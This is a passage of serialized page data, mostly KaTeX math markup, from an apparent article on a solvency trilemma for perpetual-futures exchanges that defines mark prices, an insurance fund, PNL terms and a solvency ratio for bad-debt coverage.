,"props":4027,"children":4029},{"className":4028},[2187,2188,2189,2190],[4030],{"type":26,"tag":217,"props":4031,"children":4033},{"className":4032},[247,2152,2190],[4034],{"type":32,"value":2290},{"type":26,"tag":217,"props":4036,"children":4038},{"style":4037},"top:-3.05em;",[4039,4043],{"type":26,"tag":217,"props":4040,"children":4042},{"className":4041,"style":4024},[320],[],{"type":26,"tag":217,"props":4044,"children":4045},{},[4046],{"type":26,"tag":217,"props":4047,"children":4051},{"className":4048},[1842,4049,4050],"op-symbol","large-op",[4052],{"type":32,"value":4053},"∑",{"type":26,"tag":217,"props":4055,"children":4057},{"className":4056},[409],[4058],{"type":32,"value":412},{"type":26,"tag":217,"props":4060,"children":4062},{"className":4061},[305],[4063],{"type":26,"tag":217,"props":4064,"children":4067},{"className":4065,"style":4066},[310],"height:1.2777em;",[4068],{"type":26,"tag":217,"props":4069,"children":4070},{},[],{"type":26,"tag":217,"props":4072,"children":4074},{"className":4073,"style":1872},[258],[],{"type":26,"tag":217,"props":4076,"children":4078},{"className":4077},[247],[4079,4084],{"type":26,"tag":217,"props":4080,"children":4082},{"className":4081},[247,2152],[4083],{"type":32,"value":2542},{"type":26,"tag":217,"props":4085,"children":4087},{"className":4086},[2160],[4088],{"type":26,"tag":217,"props":4089,"children":4091},{"className":4090},[299,300],[4092,4121],{"type":26,"tag":217,"props":4093,"children":4095},{"className":4094},[305],[4096,4116],{"type":26,"tag":217,"props":4097,"children":4099},{"className":4098,"style":2271},[310],[4100],{"type":26,"tag":217,"props":4101,"children":4102},{"style":2275},[4103,4107],{"type":26,"tag":217,"props":4104,"children":4106},{"className":4105,"style":2182},[320],[],{"type":26,"tag":217,"props":4108,"children":4110},{"className":4109},[2187,2188,2189,2190],[4111],{"type":26,"tag":217,"props":4112,"children":4114},{"className":4113},[247,2152,2190],[4115],{"type":32,"value":2290},{"type":26,"tag":217,"props":4117,"children":4119},{"className":4118},[409],[4120],{"type":32,"value":412},{"type":26,"tag":217,"props":4122,"children":4124},{"className":4123},[305],[4125],{"type":26,"tag":217,"props":4126,"children":4128},{"className":4127,"style":2210},[310],[4129],{"type":26,"tag":217,"props":4130,"children":4131},{},[],{"type":26,"tag":217,"props":4133,"children":4134},{"style":2736},[4135,4139],{"type":26,"tag":217,"props":4136,"children":4138},{"className":4137,"style":2139},[320],[],{"type":26,"tag":217,"props":4140,"children":4142},{"className":4141},[247],[4143,4147,4151,4156,4160,4223,4227,4232,4237,4242,4299,4304,4308,4312,4317],{"type":26,"tag":217,"props":4144,"children":4146},{"className":4145},[247],[],{"type":26,"tag":217,"props":4148,"children":4150},{"className":4149,"style":259},[258],[],{"type":26,"tag":217,"props":4152,"children":4154},{"className":4153},[264],[4155],{"type":32,"value":267},{"type":26,"tag":217,"props":4157,"children":4159},{"className":4158,"style":259},[258],[],{"type":26,"tag":217,"props":4161,"children":4163},{"className":4162},[1842,4002],[4164],{"type":26,"tag":217,"props":4165,"children":4167},{"className":4166},[299,300],[4168,4212],{"type":26,"tag":217,"props":4169,"children":4171},{"className":4170},[305],[4172,4207],{"type":26,"tag":217,"props":4173,"children":4175},{"className":4174,"style":4015},[310],[4176,4192],{"type":26,"tag":217,"props":4177,"children":4178},{"style":4019},[4179,4183],{"type":26,"tag":217,"props":4180,"children":4182},{"className":4181,"style":4024},[320],[],{"type":26,"tag":217,"props":4184,"children":4186},{"className":4185},[2187,2188,2189,2190],[4187],{"type":26,"tag":217,"props":4188,"children":4190},{"className":4189},[247,2152,2190],[4191],{"type":32,"value":2290},{"type":26,"tag":217,"props":4193,"children":4194},{"style":4037},[4195,4199],{"type":26,"tag":217,"props":4196,"children":4198},{"className":4197,"style":4024},[320],[],{"type":26,"tag":217,"props":4200,"children":4201},{},[4202],{"type":26,"tag":217,"props":4203,"children":4205},{"className":4204},[1842,4049,4050],[4206],{"type":32,"value":4053},{"type":26,"tag":217,"props":4208,"children":4210},{"className":4209},[409],[4211],{"type":32,"value":412},{"type":26,"tag":217,"props":4213,"children":4215},{"className":4214},[305],[4216],{"type":26,"tag":217,"props":4217,"children":4219},{"className":4218,"style":4066},[310],[4220],{"type":26,"tag":217,"props":4221,"children":4222},{},[],{"type":26,"tag":217,"props":4224,"children":4226},{"className":4225,"style":1872},[258],[],{"type":26,"tag":217,"props":4228,"children":4230},{"className":4229},[1842],[4231],{"type":32,"value":1845},{"type":26,"tag":217,"props":4233,"children":4235},{"className":4234},[288],[4236],{"type":32,"value":1851},{"type":26,"tag":217,"props":4238,"children":4240},{"className":4239},[247],[4241],{"type":32,"value":3379},{"type":26,"tag":217,"props":4243,"children":4245},{"className":4244},[247],[4246,4251],{"type":26,"tag":217,"props":4247,"children":4249},{"className":4248},[247,2152],[4250],{"type":32,"value":2400},{"type":26,"tag":217,"props":4252,"children":4254},{"className":4253},[2160],[4255],{"type":26,"tag":217,"props":4256,"children":4258},{"className":4257},[299,300],[4259,4288],{"type":26,"tag":217,"props":4260,"children":4262},{"className":4261},[305],[4263,4283],{"type":26,"tag":217,"props":4264,"children":4266},{"className":4265,"style":2271},[310],[4267],{"type":26,"tag":217,"props":4268,"children":4269},{"style":2275},[4270,4274],{"type":26,"tag":217,"props":4271,"children":4273},{"className":4272,"style":2182},[320],[],{"type":26,"tag":217,"props":4275,"children":4277},{"className":4276},[2187,2188,2189,2190],[4278],{"type":26,"tag":217,"props":4279,"children":4281},{"className":4280},[247,2152,2190],[4282],{"type":32,"value":2290},{"type":26,"tag":217,"props":4284,"children":4286},{"className":4285},[409],[4287],{"type":32,"value":412},{"type":26,"tag":217,"props":4289,"children":4291},{"className":4290},[305],[4292],{"type":26,"tag":217,"props":4293,"children":4295},{"className":4294,"style":2210},[310],[4296],{"type":26,"tag":217,"props":4297,"children":4298},{},[],{"type":26,"tag":217,"props":4300,"children":4302},{"className":4301},[1865],[4303],{"type":32,"value":1868},{"type":26,"tag":217,"props":4305,"children":4307},{"className":4306,"style":1872},[258],[],{"type":26,"tag":217,"props":4309,"children":4311},{"className":4310,"style":1872},[258],[],{"type":26,"tag":217,"props":4313,"children":4315},{"className":4314},[247],[4316],{"type":32,"value":1883},{"type":26,"tag":217,"props":4318,"children":4320},{"className":4319},[428],[4321],{"type":32,"value":1889},{"type":26,"tag":217,"props":4323,"children":4324},{"style":2808},[4325,4329],{"type":26,"tag":217,"props":4326,"children":4328},{"className":4327,"style":2139},[320],[],{"type":26,"tag":217,"props":4330,"children":4332},{"className":4331},[247],[4333,4337,4341,4346,4350,4413,4417],{"type":26,"tag":217,"props":4334,"children":4336},{"className":4335},[247],[],{"type":26,"tag":217,"props":4338,"children":4340},{"className":4339,"style":259},[258],[],{"type":26,"tag":217,"props":4342,"children":4344},{"className":4343},[264],[4345],{"type":32,"value":267},{"type":26,"tag":217,"props":4347,"children":4349},{"className":4348,"style":259},[258],[],{"type":26,"tag":217,"props":4351,"children":4353},{"className":4352},[1842,4002],[4354],{"type":26,"tag":217,"props":4355,"children":4357},{"className":4356},[299,300],[4358,4402],{"type":26,"tag":217,"props":4359,"children":4361},{"className":4360},[305],[4362,4397],{"type":26,"tag":217,"props":4363,"children":4365},{"className":4364,"style":4015},[310],[4366,4382],{"type":26,"tag":217,"props":4367,"children":4368},{"style":4019},[4369,4373],{"type":26,"tag":217,"props":4370,"children":4372},{"className":4371,"style":4024},[320],[],{"type":26,"tag":217,"props":4374,"children":4376},{"className":4375},[2187,2188,2189,2190],[4377],{"type":26,"tag":217,"props":4378,"children":4380},{"className":4379},[247,2152,2190],[4381],{"type":32,"value":2290},{"type":26,"tag":217,"props":4383,"children":4384},{"style":4037},[4385,4389],{"type":26,"tag":217,"props":4386,"children":4388},{"className":4387,"style":4024},[320],[],{"type":26,"tag":217,"props":4390,"children":4391},{},[4392],{"type":26,"tag":217,"props":4393,"children":4395},{"className":4394},[1842,4049,4050],[4396],{"type":32,"value":4053},{"type":26,"tag":217,"props":4398,"children":4400},{"className":4399},[409],[4401],{"type":32,"value":412},{"type":26,"tag":217,"props":4403,"children":4405},{"className":4404},[305],[4406],{"type":26,"tag":217,"props":4407,"children":4409},{"className":4408,"style":4066},[310],[4410],{"type":26,"tag":217,"props":4411,"children":4412},{},[],{"type":26,"tag":217,"props":4414,"children":4416},{"className":4415,"style":1872},[258],[],{"type":26,"tag":217,"props":4418,"children":4420},{"className":4419},[247],[4421,4426],{"type":26,"tag":217,"props":4422,"children":4424},{"className":4423,"style":2468},[247,2152],[4425],{"type":32,"value":2471},{"type":26,"tag":217,"props":4427,"children":4429},{"className":4428},[2160],[4430],{"type":26,"tag":217,"props":4431,"children":4433},{"className":4432},[299,300],[4434,4463],{"type":26,"tag":217,"props":4435,"children":4437},{"className":4436},[305],[4438,4458],{"type":26,"tag":217,"props":4439,"children":4441},{"className":4440,"style":2271},[310],[4442],{"type":26,"tag":217,"props":4443,"children":4444},{"style":2490},[4445,4449],{"type":26,"tag":217,"props":4446,"children":4448},{"className":4447,"style":2182},[320],[],{"type":26,"tag":217,"props":4450,"children":4452},{"className":4451},[2187,2188,2189,2190],[4453],{"type":26,"tag":217,"props":4454,"children":4456},{"className":4455},[247,2152,2190],[4457],{"type":32,"value":2290},{"type":26,"tag":217,"props":4459,"children":4461},{"className":4460},[409],[4462],{"type":32,"value":412},{"type":26,"tag":217,"props":4464,"children":4466},{"className":4465},[305],[4467],{"type":26,"tag":217,"props":4468,"children":4470},{"className":4469,"style":2210},[310],[4471],{"type":26,"tag":217,"props":4472,"children":4473},{},[],{"type":26,"tag":217,"props":4475,"children":4476},{"style":2880},[4477,4481],{"type":26,"tag":217,"props":4478,"children":4480},{"className":4479,"style":2139},[320],[],{"type":26,"tag":217,"props":4482,"children":4484},{"className":4483},[247],[4485,4489,4493,4498,4502,4507,4512,4569,4573,4578,4582,4587,4591,4596,4600,4657,4662,4666,4670,4675],{"type":26,"tag":217,"props":4486,"children":4488},{"className":4487},[247],[],{"type":26,"tag":217,"props":4490,"children":4492},{"className":4491,"style":259},[258],[],{"type":26,"tag":217,"props":4494,"children":4496},{"className":4495},[264],[4497],{"type":32,"value":267},{"type":26,"tag":217,"props":4499,"children":4501},{"className":4500,"style":259},[258],[],{"type":26,"tag":217,"props":4503,"children":4505},{"className":4504},[1842],[4506],{"type":32,"value":1845},{"type":26,"tag":217,"props":4508,"children":4510},{"className":4509},[288],[4511],{"type":32,"value":1851},{"type":26,"tag":217,"props":4513,"children":4515},{"className":4514},[247],[4516,4521],{"type":26,"tag":217,"props":4517,"children":4519},{"className":4518,"style":2753},[247,2152],[4520],{"type":32,"value":2756},{"type":26,"tag":217,"props":4522,"children":4524},{"className":4523},[2160],[4525],{"type":26,"tag":217,"props":4526,"children":4528},{"className":4527},[299,300],[4529,4558],{"type":26,"tag":217,"props":4530,"children":4532},{"className":4531},[305],[4533,4553],{"type":26,"tag":217,"props":4534,"children":4536},{"className":4535,"style":2699},[310],[4537],{"type":26,"tag":217,"props":4538,"children":4539},{"style":2775},[4540,4544],{"type":26,"tag":217,"props":4541,"children":4543},{"className":4542,"style":2182},[320],[],{"type":26,"tag":217,"props":4545,"children":4547},{"className":4546},[2187,2188,2189,2190],[4548],{"type":26,"tag":217,"props":4549,"children":4551},{"className":4550,"style":2153},[247,2152,2190],[4552],{"type":32,"value":178},{"type":26,"tag":217,"props":4554,"children":4556},{"className":4555},[409],[4557],{"type":32,"value":412},{"type":26,"tag":217,"props":4559,"children":4561},{"className":4560},[305],[4562],{"type":26,"tag":217,"props":4563,"children":4565},{"className":4564,"style":2210},[310],[4566],{"type":26,"tag":217,"props":4567,"children":4568},{},[],{"type":26,"tag":217,"props":4570,"children":4572},{"className":4571,"style":336},[258],[],{"type":26,"tag":217,"props":4574,"children":4576},{"className":4575},[341],[4577],{"type":32,"value":3379},{"type":26,"tag":217,"props":4579,"children":4581},{"className":4580,"style":336},[258],[],{"type":26,"tag":217,"props":4583,"children":4585},{"className":4584,"style":2230},[247,2152],[4586],{"type":32,"value":2233},{"type":26,"tag":217,"props":4588,"children":4590},{"className":4589,"style":336},[258],[],{"type":26,"tag":217,"props":4592,"children":4594},{"className":4593},[341],[4595],{"type":32,"value":3379},{"type":26,"tag":217,"props":4597,"children":4599},{"className":4598,"style":336},[258],[],{"type":26,"tag":217,"props":4601,"children":4603},{"className":4602},[247],[4604,4609],{"type":26,"tag":217,"props":4605,"children":4607},{"className":4606,"style":2680},[247,2152],[4608],{"type":32,"value":2683},{"type":26,"tag":217,"props":4610,"children":4612},{"className":4611},[2160],[4613],{"type":26,"tag":217,"props":4614,"children":4616},{"className":4615},[299,300],[4617,4646],{"type":26,"tag":217,"props":4618,"children":4620},{"className":4619},[305],[4621,4641],{"type":26,"tag":217,"props":4622,"children":4624},{"className":4623,"style":2699},[310],[4625],{"type":26,"tag":217,"props":4626,"children":4627},{"style":2703},[4628,4632],{"type":26,"tag":217,"props":4629,"children":4631},{"className":4630,"style":2182},[320],[],{"type":26,"tag":217,"props":4633,"children":4635},{"className":4634},[2187,2188,2189,2190],[4636],{"type":26,"tag":217,"props":4637,"children":4639},{"className":4638,"style":2153},[247,2152,2190],[4640],{"type":32,"value":178},{"type":26,"tag":217,"props":4642,"children":4644},{"className":4643},[409],[4645],{"type":32,"value":412},{"type":26,"tag":217,"props":4647,"children":4649},{"className":4648},[305],[4650],{"type":26,"tag":217,"props":4651,"children":4653},{"className":4652,"style":2210},[310],[4654],{"type":26,"tag":217,"props":4655,"children":4656},{},[],{"type":26,"tag":217,"props":4658,"children":4660},{"className":4659},[1865],[4661],{"type":32,"value":1868},{"type":26,"tag":217,"props":4663,"children":4665},{"className":4664,"style":1872},[258],[],{"type":26,"tag":217,"props":4667,"children":4669},{"className":4668,"style":1872},[258],[],{"type":26,"tag":217,"props":4671,"children":4673},{"className":4672},[247],[4674],{"type":32,"value":1883},{"type":26,"tag":217,"props":4676,"children":4678},{"className":4677},[428],[4679],{"type":32,"value":1889},{"type":26,"tag":217,"props":4681,"children":4683},{"className":4682},[409],[4684],{"type":32,"value":412},{"type":26,"tag":217,"props":4686,"children":4688},{"className":4687},[305],[4689],{"type":26,"tag":217,"props":4690,"children":4692},{"className":4691,"style":2964},[310],[4693],{"type":26,"tag":217,"props":4694,"children":4695},{},[],{"type":26,"tag":39,"props":4697,"children":4698},{},[4699,4700,4779,4781,4807,4809,4887,4889,4966],{"type":32,"value":1851},{"type":26,"tag":83,"props":4701,"children":4704},{"className":4702},[213,4703],"math-inline",[4705],{"type":26,"tag":217,"props":4706,"children":4708},{"className":4707},[225],[4709],{"type":26,"tag":217,"props":4710,"children":4712},{"className":4711,"ariaHidden":231},[230],[4713],{"type":26,"tag":217,"props":4714,"children":4716},{"className":4715},[236],[4717,4722],{"type":26,"tag":217,"props":4718,"children":4721},{"className":4719,"style":4720},[241],"height:0.8333em;vertical-align:-0.15em;",[],{"type":26,"tag":217,"props":4723,"children":4725},{"className":4724},[247],[4726,4731],{"type":26,"tag":217,"props":4727,"children":4729},{"className":4728,"style":2153},[247,2152],[4730],{"type":32,"value":2156},{"type":26,"tag":217,"props":4732,"children":4734},{"className":4733},[2160],[4735],{"type":26,"tag":217,"props":4736,"children":4738},{"className":4737},[299,300],[4739,4768],{"type":26,"tag":217,"props":4740,"children":4742},{"className":4741},[305],[4743,4763],{"type":26,"tag":217,"props":4744,"children":4746},{"className":4745,"style":2173},[310],[4747],{"type":26,"tag":217,"props":4748,"children":4749},{"style":2177},[4750,4754],{"type":26,"tag":217,"props":4751,"children":4753},{"className":4752,"style":2182},[320],[],{"type":26,"tag":217,"props":4755,"children":4757},{"className":4756},[2187,2188,2189,2190],[4758],{"type":26,"tag":217,"props":4759,"children":4761},{"className":4760},[247,2152,2190],[4762],{"type":32,"value":2197},{"type":26,"tag":217,"props":4764,"children":4766},{"className":4765},[409],[4767],{"type":32,"value":412},{"type":26,"tag":217,"props":4769,"children":4771},{"className":4770},[305],[4772],{"type":26,"tag":217,"props":4773,"children":4775},{"className":4774,"style":2210},[310],[4776],{"type":26,"tag":217,"props":4777,"children":4778},{},[],{"type":32,"value":4780},": mark price from different sources; ",{"type":26,"tag":83,"props":4782,"children":4784},{"className":4783},[213,4703],[4785],{"type":26,"tag":217,"props":4786,"children":4788},{"className":4787},[225],[4789],{"type":26,"tag":217,"props":4790,"children":4792},{"className":4791,"ariaHidden":231},[230],[4793],{"type":26,"tag":217,"props":4794,"children":4796},{"className":4795},[236],[4797,4802],{"type":26,"tag":217,"props":4798,"children":4801},{"className":4799,"style":4800},[241],"height:0.6833em;",[],{"type":26,"tag":217,"props":4803,"children":4805},{"className":4804,"style":2230},[247,2152],[4806],{"type":32,"value":2233},{"type":32,"value":4808},": insurance fund, roughly the 5M on testnet HL; ",{"type":26,"tag":83,"props":4810,"children":4812},{"className":4811},[213,4703],[4813],{"type":26,"tag":217,"props":4814,"children":4816},{"className":4815},[225],[4817],{"type":26,"tag":217,"props":4818,"children":4820},{"className":4819,"ariaHidden":231},[230],[4821],{"type":26,"tag":217,"props":4822,"children":4824},{"className":4823},[236],[4825,4830],{"type":26,"tag":217,"props":4826,"children":4829},{"className":4827,"style":4828},[241],"height:0.5806em;vertical-align:-0.15em;",[],{"type":26,"tag":217,"props":4831,"children":4833},{"className":4832},[247],[4834,4839],{"type":26,"tag":217,"props":4835,"children":4837},{"className":4836,"style":2326},[247,2152],[4838],{"type":32,"value":2329},{"type":26,"tag":217,"props":4840,"children":4842},{"className":4841},[2160],[4843],{"type":26,"tag":217,"props":4844,"children":4846},{"className":4845},[299,300],[4847,4876],{"type":26,"tag":217,"props":4848,"children":4850},{"className":4849},[305],[4851,4871],{"type":26,"tag":217,"props":4852,"children":4854},{"className":4853,"style":2271},[310],[4855],{"type":26,"tag":217,"props":4856,"children":4857},{"style":2348},[4858,4862],{"type":26,"tag":217,"props":4859,"children":4861},{"className":4860,"style":2182},[320],[],{"type":26,"tag":217,"props":4863,"children":4865},{"className":4864},[2187,2188,2189,2190],[4866],{"type":26,"tag":217,"props":4867,"children":4869},{"className":4868},[247,2152,2190],[4870],{"type":32,"value":2290},{"type":26,"tag":217,"props":4872,"children":4874},{"className":4873},[409],[4875],{"type":32,"value":412},{"type":26,"tag":217,"props":4877,"children":4879},{"className":4878},[305],[4880],{"type":26,"tag":217,"props":4881,"children":4883},{"className":4882,"style":2210},[310],[4884],{"type":26,"tag":217,"props":4885,"children":4886},{},[],{"type":32,"value":4888}," is PNL for longs, negated for shorts; ",{"type":26,"tag":83,"props":4890,"children":4892},{"className":4891},[213,4703],[4893],{"type":26,"tag":217,"props":4894,"children":4896},{"className":4895},[225],[4897],{"type":26,"tag":217,"props":4898,"children":4900},{"className":4899,"ariaHidden":231},[230],[4901],{"type":26,"tag":217,"props":4902,"children":4904},{"className":4903},[236],[4905,4909],{"type":26,"tag":217,"props":4906,"children":4908},{"className":4907,"style":4828},[241],[],{"type":26,"tag":217,"props":4910,"children":4912},{"className":4911},[247],[4913,4918],{"type":26,"tag":217,"props":4914,"children":4916},{"className":4915,"style":2468},[247,2152],[4917],{"type":32,"value":2471},{"type":26,"tag":217,"props":4919,"children":4921},{"className":4920},[2160],[4922],{"type":26,"tag":217,"props":4923,"children":4925},{"className":4924},[299,300],[4926,4955],{"type":26,"tag":217,"props":4927,"children":4929},{"className":4928},[305],[4930,4950],{"type":26,"tag":217,"props":4931,"children":4933},{"className":4932,"style":2271},[310],[4934],{"type":26,"tag":217,"props":4935,"children":4936},{"style":2490},[4937,4941],{"type":26,"tag":217,"props":4938,"children":4940},{"className":4939,"style":2182},[320],[],{"type":26,"tag":217,"props":4942,"children":4944},{"className":4943},[2187,2188,2189,2190],[4945],{"type":26,"tag":217,"props":4946,"children":4948},{"className":4947},[247,2152,2190],[4949],{"type":32,"value":2290},{"type":26,"tag":217,"props":4951,"children":4953},{"className":4952},[409],[4954],{"type":32,"value":412},{"type":26,"tag":217,"props":4956,"children":4958},{"className":4957},[305],[4959],{"type":26,"tag":217,"props":4960,"children":4962},{"className":4961,"style":2210},[310],[4963],{"type":26,"tag":217,"props":4964,"children":4965},{},[],{"type":32,"value":4967}," is the positive part of PNL.)",{"type":26,"tag":39,"props":4969,"children":4970},{},[4971],{"type":32,"value":4972},"And let's make the trilemma definitions concrete:",{"type":26,"tag":2040,"props":4974,"children":4975},{},[4976,5461,6031],{"type":26,"tag":2044,"props":4977,"children":4978},{},[4979,4983,4985,5245,5247,5301,5303,5406,5408,5459],{"type":26,"tag":65,"props":4980,"children":4981},{},[4982],{"type":32,"value":2051},{"type":32,"value":4984}," = ",{"type":26,"tag":83,"props":4986,"children":4988},{"className":4987},[213,4703],[4989],{"type":26,"tag":217,"props":4990,"children":4992},{"className":4991},[225],[4993],{"type":26,"tag":217,"props":4994,"children":4996},{"className":4995,"ariaHidden":231},[230],[4997,5024],{"type":26,"tag":217,"props":4998,"children":5000},{"className":4999},[236],[5001,5006,5011,5015,5020],{"type":26,"tag":217,"props":5002,"children":5005},{"className":5003,"style":5004},[241],"height:0.7278em;vertical-align:-0.0833em;",[],{"type":26,"tag":217,"props":5007,"children":5009},{"className":5008},[247],[5010],{"type":32,"value":185},{"type":26,"tag":217,"props":5012,"children":5014},{"className":5013,"style":336},[258],[],{"type":26,"tag":217,"props":5016,"children":5018},{"className":5017},[341],[5019],{"type":32,"value":3379},{"type":26,"tag":217,"props":5021,"children":5023},{"className":5022,"style":336},[258],[],{"type":26,"tag":217,"props":5025,"children":5027},{"className":5026},[236],[5028,5033],{"type":26,"tag":217,"props":5029,"children":5032},{"className":5030,"style":5031},[241],"height:1.3337em;vertical-align:-0.4453em;",[],{"type":26,"tag":217,"props":5034,"children":5036},{"className":5035},[247],[5037,5041,5241],{"type":26,"tag":217,"props":5038,"children":5040},{"className":5039},[288,289],[],{"type":26,"tag":217,"props":5042,"children":5044},{"className":5043},[294],[5045],{"type":26,"tag":217,"props":5046,"children":5048},{"className":5047},[299,300],[5049,5229],{"type":26,"tag":217,"props":5050,"children":5052},{"className":5051},[305],[5053,5224],{"type":26,"tag":217,"props":5054,"children":5057},{"className":5055,"style":5056},[310],"height:0.8884em;",[5058,5137,5148],{"type":26,"tag":217,"props":5059,"children":5061},{"style":5060},"top:-2.655em;",[5062,5066],{"type":26,"tag":217,"props":5063,"children":5065},{"className":5064,"style":321},[320],[],{"type":26,"tag":217,"props":5067,"children":5069},{"className":5068},[2187,2188,2189,2190],[5070],{"type":26,"tag":217,"props":5071,"children":5073},{"className":5072},[247,2190],[5074],{"type":26,"tag":217,"props":5075,"children":5077},{"className":5076},[247,2190],[5078,5083],{"type":26,"tag":217,"props":5079,"children":5081},{"className":5080,"style":2753},[247,2152,2190],[5082],{"type":32,"value":2756},{"type":26,"tag":217,"props":5084,"children":5086},{"className":5085},[2160],[5087],{"type":26,"tag":217,"props":5088,"children":5090},{"className":5089},[299,300],[5091,5125],{"type":26,"tag":217,"props":5092,"children":5094},{"className":5093},[305],[5095,5120],{"type":26,"tag":217,"props":5096,"children":5099},{"className":5097,"style":5098},[310],"height:0.3448em;",[5100],{"type":26,"tag":217,"props":5101,"children":5103},{"style":5102},"top:-2.3567em;margin-left:-0.0278em;margin-right:0.0714em;",[5104,5109],{"type":26,"tag":217,"props":5105,"children":5108},{"className":5106,"style":5107},[320],"height:2.5em;",[],{"type":26,"tag":217,"props":5110,"children":5114},{"className":5111},[2187,5112,5113,2190],"reset-size3","size1",[5115],{"type":26,"tag":217,"props":5116,"children":5118},{"className":5117,"style":2153},[247,2152,2190],[5119],{"type":32,"value":178},{"type":26,"tag":217,"props":5121,"children":5123},{"className":5122},[409],[5124],{"type":32,"value":412},{"type":26,"tag":217,"props":5126,"children":5128},{"className":5127},[305],[5129],{"type":26,"tag":217,"props":5130,"children":5133},{"className":5131,"style":5132},[310],"height:0.1433em;",[5134],{"type":26,"tag":217,"props":5135,"children":5136},{},[],{"type":26,"tag":217,"props":5138,"children":5139},{"style":361},[5140,5144],{"type":26,"tag":217,"props":5141,"children":5143},{"className":5142,"style":321},[320],[],{"type":26,"tag":217,"props":5145,"children":5147},{"className":5146,"style":371},[370],[],{"type":26,"tag":217,"props":5149,"children":5151},{"style":5150},"top:-3.4101em;",[5152,5156],{"type":26,"tag":217,"props":5153,"children":5155},{"className":5154,"style":321},[320],[],{"type":26,"tag":217,"props":5157,"children":5159},{"className":5158},[2187,2188,2189,2190],[5160],{"type":26,"tag":217,"props":5161,"children":5163},{"className":5162},[247,2190],[5164],{"type":26,"tag":217,"props":5165,"children":5167},{"className":5166},[247,2190],[5168,5173],{"type":26,"tag":217,"props":5169,"children":5171},{"className":5170,"style":2897},[247,2152,2190],[5172],{"type":32,"value":2900},{"type":26,"tag":217,"props":5174,"children":5176},{"className":5175},[2160],[5177],{"type":26,"tag":217,"props":5178,"children":5180},{"className":5179},[299,300],[5181,5212],{"type":26,"tag":217,"props":5182,"children":5184},{"className":5183},[305],[5185,5207],{"type":26,"tag":217,"props":5186,"children":5189},{"className":5187,"style":5188},[310],"height:0.2963em;",[5190],{"type":26,"tag":217,"props":5191,"children":5193},{"style":5192},"top:-2.357em;margin-left:-0.0077em;margin-right:0.0714em;",[5194,5198],{"type":26,"tag":217,"props":5195,"children":5197},{"className":5196,"style":5107},[320],[],{"type":26,"tag":217,"props":5199,"children":5201},{"className":5200},[2187,5112,5113,2190],[5202],{"type":26,"tag":217,"props":5203,"children":5205},{"className":5204},[247,2152,2190],[5206],{"type":32,"value":2935},{"type":26,"tag":217,"props":5208,"children":5210},{"className":5209},[409],[5211],{"type":32,"value":412},{"type":26,"tag":217,"props":5213,"children":5215},{"className":5214},[305],[5216],{"type":26,"tag":217,"props":5217,"children":5220},{"className":5218,"style":5219},[310],"height:0.143em;",[5221],{"type":26,"tag":217,"props":5222,"children":5223},{},[],{"type":26,"tag":217,"props":5225,"children":5227},{"className":5226},[409],[5228],{"type":32,"value":412},{"type":26,"tag":217,"props":5230,"children":5232},{"className":5231},[305],[5233],{"type":26,"tag":217,"props":5234,"children":5237},{"className":5235,"style":5236},[310],"height:0.4453em;",[5238],{"type":26,"tag":217,"props":5239,"children":5240},{},[],{"type":26,"tag":217,"props":5242,"children":5244},{"className":5243},[428,289],[],{"type":32,"value":5246}," — how much of the total bad debt was actually covered. ",{"type":26,"tag":83,"props":5248,"children":5250},{"className":5249},[213,4703],[5251],{"type":26,"tag":217,"props":5252,"children":5254},{"className":5253},[225],[5255],{"type":26,"tag":217,"props":5256,"children":5258},{"className":5257,"ariaHidden":231},[230],[5259,5287],{"type":26,"tag":217,"props":5260,"children":5262},{"className":5261},[236],[5263,5267,5274,5278,5283],{"type":26,"tag":217,"props":5264,"children":5266},{"className":5265,"style":4800},[241],[],{"type":26,"tag":217,"props":5268,"children":5271},{"className":5269,"style":5270},[247,2152],"margin-right:0.05764em;",[5272],{"type":32,"value":5273},"S",{"type":26,"tag":217,"props":5275,"children":5277},{"className":5276,"style":259},[258],[],{"type":26,"tag":217,"props":5279,"children":5281},{"className":5280},[264],[5282],{"type":32,"value":267},{"type":26,"tag":217,"props":5284,"children":5286},{"className":5285,"style":259},[258],[],{"type":26,"tag":217,"props":5288,"children":5290},{"className":5289},[236],[5291,5296],{"type":26,"tag":217,"props":5292,"children":5295},{"className":5293,"style":5294},[241],"height:0.6444em;",[],{"type":26,"tag":217,"props":5297,"children":5299},{"className":5298},[247],[5300],{"type":32,"value":185},{"type":32,"value":5302}," means fully solvent (",{"type":26,"tag":83,"props":5304,"children":5306},{"className":5305},[213,4703],[5307],{"type":26,"tag":217,"props":5308,"children":5310},{"className":5309},[225],[5311],{"type":26,"tag":217,"props":5312,"children":5314},{"className":5313,"ariaHidden":231},[230],[5315,5393],{"type":26,"tag":217,"props":5316,"children":5318},{"className":5317},[236],[5319,5323,5380,5384,5389],{"type":26,"tag":217,"props":5320,"children":5322},{"className":5321,"style":4720},[241],[],{"type":26,"tag":217,"props":5324,"children":5326},{"className":5325},[247],[5327,5332],{"type":26,"tag":217,"props":5328,"children":5330},{"className":5329,"style":2897},[247,2152],[5331],{"type":32,"value":2900},{"type":26,"tag":217,"props":5333,"children":5335},{"className":5334},[2160],[5336],{"type":26,"tag":217,"props":5337,"children":5339},{"className":5338},[299,300],[5340,5369],{"type":26,"tag":217,"props":5341,"children":5343},{"className":5342},[305],[5344,5364],{"type":26,"tag":217,"props":5345,"children":5347},{"className":5346,"style":2916},[310],[5348],{"type":26,"tag":217,"props":5349,"children":5350},{"style":2920},[5351,5355],{"type":26,"tag":217,"props":5352,"children":5354},{"className":5353,"style":2182},[320],[],{"type":26,"tag":217,"props":5356,"children":5358},{"className":5357},[2187,2188,2189,2190],[5359],{"type":26,"tag":217,"props":5360,"children":5362},{"className":5361},[247,2152,2190],[5363],{"type":32,"value":2935},{"type":26,"tag":217,"props":5365,"children":5367},{"className":5366},[409],[5368],{"type":32,"value":412},{"type":26,"tag":217,"props":5370,"children":5372},{"className":5371},[305],[5373],{"type":26,"tag":217,"props":5374,"children":5376},{"className":5375,"style":2210},[310],[5377],{"type":26,"tag":217,"props":5378,"children":5379},{},[],{"type":26,"tag":217,"props":5381,"children":5383},{"className":5382,"style":259},[258],[],{"type":26,"tag":217,"props":5385,"children":5387},{"className":5386},[264],[5388],{"type":32,"value":267},{"type":26,"tag":217,"props":5390,"children":5392},{"className":5391,"style":259},[258],[],{"type":26,"tag":217,"props":5394,"children":5396},{"className":5395},[236],[5397,5401],{"type":26,"tag":217,"props":5398,"children":5400},{"className":5399,"style":5294},[241],[],{"type":26,"tag":217,"props":5402,"children":5404},{"className":5403},[247],[5405],{"type":32,"value":1883},{"type":32,"value":5407},"), 